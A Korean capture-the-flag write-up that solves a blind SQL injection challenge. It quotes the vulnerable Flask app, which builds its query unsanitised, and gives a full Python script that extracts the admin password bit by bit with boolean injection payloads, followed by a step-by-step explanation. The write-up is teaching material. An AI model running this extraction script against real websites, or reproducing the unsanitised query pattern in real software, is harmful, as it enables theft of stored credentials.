sql injection을 통해서 플래그 값을 얻는 문제이다.
문제 파일을 살펴보겠다.
CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `user_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;
먼저 sql 파일을 확인해봤다.
1. utf-8 언어셋 사용, 'users'라는 테이블을 사용함.
2. flag값은 admin의 pw값이다.
import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL
app = Flask ( __name__ )
app .config[ 'MYSQL_HOST' ] = os . environ . get ( 'MYSQL_HOST' , 'localhost' )
app .config[ 'MYSQL_USER' ] = os . environ . get ( 'MYSQL_USER' , 'user' )
app .config[ 'MYSQL_PASSWORD' ] = os . environ . get ( 'MYSQL_PASSWORD' , 'pass' )
app .config[ 'MYSQL_DB' ] = os . environ . get ( 'MYSQL_DB' , 'user_db' )
mysql = MySQL ( app )
template = '''
<pre style="font-size:200%">SELECT * FROM users WHERE uid=' {{ uid }} ';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
{% if nrows == 1%}
<pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''
@ app . route ( '/' , methods = [ 'GET' ])
def index ():
uid = request.args. get ( 'uid' , '' )
nrows = 0
if uid :
cur = mysql .connection. cursor ()
nrows = cur . execute ( f "SELECT * FROM users WHERE uid=' { uid } ';" )
return render_template_string ( template , uid = uid , nrows = nrows )
if __name__ == '__main__' :
app . run ( host = '0.0.0.0' )
python 파일을 확인해보았다.
1. /에 GET을 통해 이용자 입력을 전달 받음.
if uid :
cur = mysql .connection. cursor ()
nrows = cur . execute ( f "SELECT * FROM users WHERE uid=' { uid } ';" )
return render_template_string ( template , uid = uid , nrows = nrows )
2. 따로 필터링이 존재하지 않은 채 그대로 반환하는 것을 확인할 수 있다.
'admin-- 구문을 통해서 uid 뒤에 있는 구문을 주석으로 처리를 시도했다.
입력에 의해 에러가 발생했다고 뜬다. sql injection이 적용된다는 것을 알 수 있다.
문제를 보면 utf-8 언어셋을 사용하며 아스키코드와 한글로 패스워드가 이루어져있다는 것을 확인가능.
ASCII는 0부터 127 범위의 문자를 표현할 수 있으며, 이는 곧 7 개의 비트를 통해 하나의 문자를 나타낸다.
7 개의 비트에 대해 1인지 비교하면 총 7 번의 쿼리로 임의 데이터의 한 바이트를 알아낼 수 있다. 즉 비트 연산을 통해서 비밀번호의 값을 바이트 단위로 얻어내어 비밀번호를 알아내는 방식으로 문제를 해결해봤다.
from requests import get
password_length = 0
while True :
password_length += 1
query = f "admin' and char_length(upw) = { password_length } -- -"
re = get ( f " { host } /?uid= { query } " )
if "exists" in re . text :
break
print ( f "password length: { password_length } " )
password = ""
for i in range ( 1 , password_length + 1 ):
bit_length = 0
while True :
bit_length += 1
query = f "admin' and length(bin(ord(substr(upw, { i } , 1)))) = { bit_length } -- -"
re = get ( f " { host } /?uid= { query } " )
if "exists" in re . text :
break
print ( f "character { i } 's bit length: { bit_length } " )
bits = ""
for j in range ( 1 , bit_length + 1 ):
query = f "admin' and substr(bin(ord(substr(upw, { i } , 1))), { j } , 1) = '1'-- -"
re = get ( f " { host } /?uid= { query } " )
if "exists" in re . text :
bits += "1"
else :
bits += "0"
print ( f "character { i } 's bits: { bits } " )
password += int . to_bytes ( int ( bits , 2 ), ( bit_length + 7 ) // 8 , "big" ). decode ( "utf-8" )
print ( password )
파이썬으로 구성된 코드이다. 분석을 해보면
from requests import get
password_length = 0
while True :
password_length += 1
query = f "admin' and char_length(upw) = { password_length } -- -"
re = get ( f " { host } /?uid= { query } " )
if "exists" in r.text:
break
print ( f "password length: { password_length } " )
password = ""
requests를 통해서 웹서버에 요청을 보내며, 반복문을 통해서 password를 점점 늘려가면서 이를 검증하여 패스워드의 길이가 admin의 pw와 같으면 반복문을 종료하고 password의 길이를 출력한다.
for i in range ( 1 , password_length + 1 ):
bit_length = 0
while True :
bit_length += 1
query = f "admin' and length(bin(ord(substr(upw, { i } , 1)))) = { bit_length } -- -"
re = get ( f " { host } /?uid= { query } " )
if "exists" in re . text :
break
print ( f "character { i } 's bit length: { bit_length } " )
bits = ""
패스워드의 각 자리에 해당하는 문자의 아스키코드 비트열의 길이를 찾아내는 코드이다.
- substr() 함수: 문자열을 특정 위치부터 자르는 함수이며, substr(대상문자열, 시작위치, 길이) 로 구성.
- bin() 함수: 정수를 바이너리 값으로 변환하는 함수이다. 여기에서는 ord()로 변환한 아스키 코드값을 이진수(비트)로 바꾸는 역할을 하고 있다.
for j in range ( 1 , bit_length + 1 ):
query = f "admin' and substr(bin(ord(substr(upw, { i } , 1))), { j } , 1) = '1'-- -"
re = get ( f " { host } /?uid= { query } " )
if "exists" in re . text :
bits += "1"
else :
bits += "0"
print ( f "character { i } 's bits: { bits } " )
password += int . to_bytes ( int ( bits , 2 ), ( bit_length + 7 ) // 8 , "big" ). decode ( "utf-8" )
print ( password )
패스워드의 각 자리에 해당하는 문자의 아스키코드 비트열을 찾아내는 코드.
이진수 아스키 코드로 변환한 비트열의 j번째 숫자가 1과 같으면 쿼리문 실행 결과 user "입력값" exists. 가 출력될 것이다. 그러면 해당 자리의 비트가 1, 아니면 0을 의미한다.
즉, 다음 각 문자에 대해 반복하여 이진 표현을 한 번에 한 비트씩 결정하며 decode 함수를 통해서 utf-8로 된 비트값을 디코딩해서 password를 출력한다.
실행을 하게 되면 플래그 값을 얻을 수 있다.